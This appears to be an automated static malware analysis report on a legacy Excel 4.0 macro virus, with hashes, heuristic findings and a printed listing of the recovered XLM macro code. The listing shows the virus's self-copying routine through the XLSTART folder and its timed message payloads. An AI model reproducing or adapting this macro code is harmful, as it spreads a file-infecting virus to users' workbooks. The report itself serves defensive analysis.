Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c1895c3ff3143f22…

MALICIOUS

Office (OLE)

37.0 KB First seen: 2015-09-18
MD5: 4a7e1213a57e7bd6cd790c84432c0030 SHA-1: 1c454a556aa2182163cadd1a6330bff36d0e02b1 SHA-256: c1895c3ff3143f2290e808002b405d8ed0ea8ae8a334daa1d1821e5ed96016d4
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

Static analysis revealed the presence of a legacy Excel 4.0 macro virus, identified by heuristics such as OLE_XLM_AUTOOPEN and OLE_XLS_FORMULA_MACRO_VIRUS. The macro sheet contains an Auto_Open entry and uses dangerous formula APIs, indicating an intent to execute malicious code upon opening. The document body mentions infecting other workbooks and saving them as 'Book1.xls', suggesting a propagation mechanism.

Heuristics 5

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 37,888 bytes but its declared streams total only 20,138 bytes — 17,750 bytes (47%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 5718 bytes
SHA-256: 5f032f15ee2c37902ebd60ff7ad842c7d3b7f2f07b8cea1fc53ff0bd11f0ac12
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XL4Popp
' 0018     24 LABEL : Cell Value, String Constant - aa len=7 ptgRef3d  XL4Popp!C39 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d 4!C4 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d 4!C4 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 4!C31 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 4!C9 
' 0018     90 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\x00\xf0=\x9b\x03'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 4!A15 
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 4!A26 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 4!C39 
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 4!C27 
' 0018     27 LABEL : Cell Value, String Constant - built-in-name 6 ? len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x01\x00&\x00\x00\x00\x03\x00'
' 0018     39 LABEL : Cell Value, String Constant - Print_Area_MI len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\x00[\x00\x00\x00\r\x00'
' 0018     24 LABEL : Cell Value, String Constant -   len=7 ptgSub *UNKNOWN TOKEN* 0x00c8 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b"<\x02\x00''"
' 0018     34 LABEL : Cell Value, String Constant -  üÈÝЬ len=7 *UNKNOWN TOKEN* 0x00c0 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc5\xc5\xf8\xbc\x80\xbd'
' 0018     34 LABEL : Cell Value, String Constant -   Ìl­¬ len=7 *UNKNOWN TOKEN* 0x00c0 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc5\xc5\xf8\xbc\x80\xbd'
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XL4Popp,C1,WORKBOOK.HIDE("XL4Poppy"),""
'  XL4Popp,A4,"",3.00000000000000000000
'  XL4Popp,C4,RUN(C18),""
'  XL4Popp,C5,"ERROR(TRUE,Continue)",""
'  XL4Popp,C6,IF(A4=3),""
'  XL4Popp,C7,RETURN(),""
'  XL4Popp,C8,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,C9,ERROR(FALSE),""
'  XL4Popp,C10,RUN(A21),""
'  XL4Popp,C11,"ON.TIME("6:30:00 PM","Hello")",""
'  XL4Popp,C12,"ON.TIME("6:30:00 AM","Morning")",""
'  XL4Popp,C13,"ON.SHEET(,"Poppy",TRUE)",""
'  XL4Popp,C14,RETURN(),""
'  XL4Popp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
'  XL4Popp,A16,"ALERT("Ò$  1 9 9 8   T h e   N a r k o t i c   N e t w o r k ",2)",""
'  XL4Popp,A17,RETURN(),""
'  XL4Popp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
'  XL4Popp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
'  XL4Popp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
'  XL4Popp,A21,"IF(FILES(A3)="Book1.",0,99)",""
'  XL4Popp,A22,"ERROR(TRUE,MakeIt)",""
'  XL4Popp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"XL4Poppy"))",""
'  XL4Popp,A23,IF(A21=0),""
'  XL4Popp,C23,RETURN(),""
'  XL4Popp,A24,RETURN(),""
'  XL4Popp,A25,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A26,NEW(1),""
'  XL4Popp,A27,WORKBOOK.INSERT(1),""
'  XL4Popp,C27,RUN(C19),""
'  XL4Popp,A28,WORKBOOK.INSERT(1),""
'  XL4Popp,C28,"ERROR(TRUE,Bust)",""
'  XL4Popp,A29,ACTIVATE.PREV(),""
'  XL4Popp,C29,IF(A4=3),""
'  XL4Popp,A30,RUN(C18),""
'  XL4Popp,C30,RETURN(),""
'  XL4Popp,A31,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,C31,ERROR(FALSE),""
'  XL4Popp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
'  XL4Popp,C32,ACTIVATE.PREV(),""
'  XL4Popp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
'  XL4Popp,C33,RUN(C19),""
'  XL4Popp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
'  XL4Popp,C34,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
'  XL4Popp,C35,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A36,WORKBOOK.PREV(),""
'  XL4Popp,C36,RETURN(),""
'  XL4Popp,A37,WORKBOOK.PREV(),""
'  XL4Popp,A38,WORKBOOK.PREV(),""
'  XL4Popp,A39,SAVE.AS(A3),""
'  XL4Popp,C39,APP.TITLE("XF.Classic.Poppy"),""
'  XL4Popp,A40,FILE.CLOSE(),""
'  XL4Popp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
'  XL4Popp,A41,RETURN(),""
'  XL4Popp,C41,RETURN(),""

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